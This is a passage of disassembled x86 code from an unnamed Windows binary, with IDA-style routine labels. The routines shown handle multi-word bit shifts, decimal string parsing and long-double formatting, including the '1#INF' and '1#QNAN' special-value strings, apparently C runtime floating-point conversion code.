		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax

loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi

loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------

loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h

loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------

loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245

loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------

loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi

loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump

loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C

loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------

loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43C508
		jnz	short loc_42527B

loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------

loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265

loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43C508
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324

loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564

loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265

loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43C508
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9

loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3

loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43C504, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------

loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------

loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]

loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------

loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43C508
		jnz	short loc_4253E6

loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F

loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------

loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43C504, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------

loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------

loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------

loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43C504, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------

loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------

loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487

loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567

loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------

loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8

loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------

loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------

loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490

loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9

loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax

loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------

loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567

loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7

loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------

loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi

loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43C504, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------

loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------

loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h

loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi

loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43C504, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------

loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------

loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------

loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx

loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]

loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------

loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]

loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647

loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------

loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax

loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]

loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]

loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1

loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------

loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------

loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h

loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E

loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------

loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776

loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------

loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------

loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"

loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------

loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------

loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx

loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------

loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]

loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi

loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893

loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886

loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx

loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]

loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D

loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------

loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914

loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]

loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
